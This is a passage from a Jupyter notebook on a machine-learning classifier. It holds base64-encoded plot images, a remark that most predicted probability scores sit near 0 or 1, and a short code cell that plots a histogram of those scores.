MQZaHSE3pexQc2z3v\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 174 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### You can see that we still get good results even when modifying the threshold level. When we plot the scores, we see that most of the scores are either near 0 or 1. This indicates that the classifier is confident about most of the labels." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "scores = clf_all.predict_proba(X_test)[:,1]\n", + "plt.hist(scores, bins=20)\n", + "plt.grid(True)\n", + "plt.show()" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "display_data", + "png": "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